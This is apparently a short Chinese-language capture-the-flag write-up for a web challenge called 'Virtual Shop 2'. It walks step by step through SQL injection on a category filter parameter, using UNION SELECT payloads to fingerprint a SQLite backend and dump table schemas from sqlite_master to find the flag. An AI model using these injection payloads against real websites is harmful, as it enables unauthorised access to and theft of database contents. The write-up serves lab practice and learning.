Virtual Shop 2
url+/filter?category=1'-->报错
url+/filter?category=1'-- -->成功返回页面
说明存在注入点。
使用联合查询:url+/filter?category=1' union select 1,2,3,4--
database()查询数据库失败:url+/filter?category=1' union select database(),2,3,4--
但是length('database()')>0成功了,应该不是函数被WAF拦截了,应该不是mysql数据库:
尝试sqlite数据库命令,查看版本信息:url+/filter?category=1' union select (select sqlite_version()),2,3,4--
确定是sqlite数据库,开始sqlite注入:
查询所有数据库的表名和列名
url+/filter?category=1' union select (select sql from sqlite_master),2,3,4 --
这里需要使用group_concat()函数或者limit函数将数据并成一行,以显示所有查询结果
group_concat()函数:
url+/filter?category=1' union select (select group_concat(sql) from sqlite_master),2,3,4 --
或者limit函数:
url+/filter?category=1' union select (select sql from sqlite_master limit 1,1),2,3,4 --
查询后发现UsEErrSS1337987库才是flag所在的库
得到flag。
sqlite学习可以参考链接:https://xz.aliyun.com/t/8627?time__1311=n4%2BxuDgDBDyCo405DIY2OQD8Q3P0IEoex&alichlgref=https%3A%2F%2Fcn.bing.com%2F